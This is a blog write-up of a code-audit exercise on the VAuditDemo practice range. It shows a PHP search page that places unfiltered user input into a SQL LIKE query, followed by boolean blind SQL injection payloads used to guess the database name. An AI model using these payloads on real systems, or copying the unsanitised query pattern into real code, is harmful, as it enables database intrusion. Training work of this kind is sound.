VAuditDemo shooting range message search injection
前言
吃饭先撸了一发代码审计,感觉还行。就是VAuditDemo这个靶场,下午看基友在哪里撸注入,自己也整了个注入。
正文
我撸的这个是在留言搜索哪里的注入,先看代码
<?php
include_once 'sys/config.php';
include_once 'header.php';
if ( !empty( $_GET['search'] ) ) {
$query = "SELECT * FROM comment WHERE comment_text LIKE '%{$_GET['search']}%'"; /*这里直接带入了参数,并没有过滤所以造成注入*/
echo $query;
$data = mysql_query($query, $conn);
?>
<div class="bs-example table-responsive">
<?php echo 'The result for [ '.$_GET['search'].' ] is:'?>
<table class="table table-striped table-hover ">
<tr>
<th>#</th>
<th>Column heading</th>
</tr>
<?php
while ( $com = mysql_fetch_array( $data ) ) {
//净化输出变量
$html['username'] = htmlspecialchars( $com['user_name'] );
$html['comment_text'] = htmlspecialchars( $com['comment_text'] );
echo '<tr>';
echo '<td>'.$html['username'].'</td>';
echo '<td><a href="messageDetail.php?id='.$com['comment_id'].'">'.$html['comment_text'].'</a></td>';
echo '</tr>';
}
?>
</table>
</div>
<?php
if ( isset( $_SESSION['username'] ) ) {
?>
<form action="messageSub.php" method="post" name="message">
<div class="col-lg-10">
<textarea class="form-control" rows="3" id="textArea" name="message"></textarea>
</div>
<input type="submit" name="submit" value="留言"/>
</form>
<a href="user/user.php">返回</a><br /><br /><br /><br /><br />
<?php
}
}
require_once 'footer.php';
?>
从上面代码可以看到,并没有对搜索处进行过滤就直接带入数据库查询了,我们首先向数据库插入
一条留言
然后进行搜索并尝试注入:
根据SQL查询语句注入语句如下:
%90' and 1=1 |'%1 页面返回正常
%90’ and 1=2 |%2 页面返回错误
那么接下来盲注即可
%90' and(length(database())=4) |'%1 这里我的数据库名叫demo
%90' and(left(database(),4)="demo") |'%1 页面返回正常
转载请声明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:VAuditDemo shooting range message search injection
本文作者:九世
发布时间:2019-02-01, 18:38:56
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/cc7f1a76.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。